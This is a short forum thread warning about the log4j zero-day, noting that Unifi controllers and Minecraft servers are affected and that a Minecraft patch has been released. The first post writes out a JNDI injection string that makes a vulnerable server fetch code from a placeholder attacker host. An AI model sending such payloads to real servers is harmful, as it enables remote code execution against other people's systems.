Widespread Vulnerability in log4j

Products from our Sponsors

Print Thread

Rate Thread

Widespread Vulnerability in log4j #641700 12/10/21 07:35 PM
Joined: Aug 2004 Posts: 1,729 Likes: 47 Calgary, AB, Canada Toner Admin
Toner Admin Joined: Aug 2004 Posts: 1,729 Likes: 47 Calgary, AB, Canada	There is a nasty zero day exploit that was just made public around a certain Java logging application called "log4j" - see some details here: https://sysdig.com/blog/cve-critical-vulnerability-log4j/ One thing I know for sure that's affected is the Unifi controller software (there is a patch available). Apparently it really sucks for Minecraft servers too. A bad actor can supposedly run any code they want simply by sending ${jndi:ldap://BADHOST.COM:PORT/RemoteCommand} Ug. Looking for a VoIP Phone Canada provider? Put Atcom's valuable VoIP expertise to work for your business today!

Atcom VoIP Phones

Best VoIP Phones Canada

Visit Atcom to get started with your new business VoIP phone system ASAP
Turn up is quick, painless, and can often be done same day.
Let us show you how to do VoIP right, resulting in crystal clear call quality and easy-to-use features that make everyone happy!
Proudly serving Canada from coast to coast.

Re: Widespread Vulnerability in log4j Toner #641701 12/10/21 08:14 PM
Joined: Jun 2006 Posts: 3,004 Likes: 4 Brisbane, Australia nameless Moderator-Samsung
nameless Moderator-Samsung Joined: Jun 2006 Posts: 3,004 Likes: 4 Brisbane, Australia	Microsoft has released a patch for Minecraft servers (1.18.1) I expect there'll be a patch soon for unifi as well.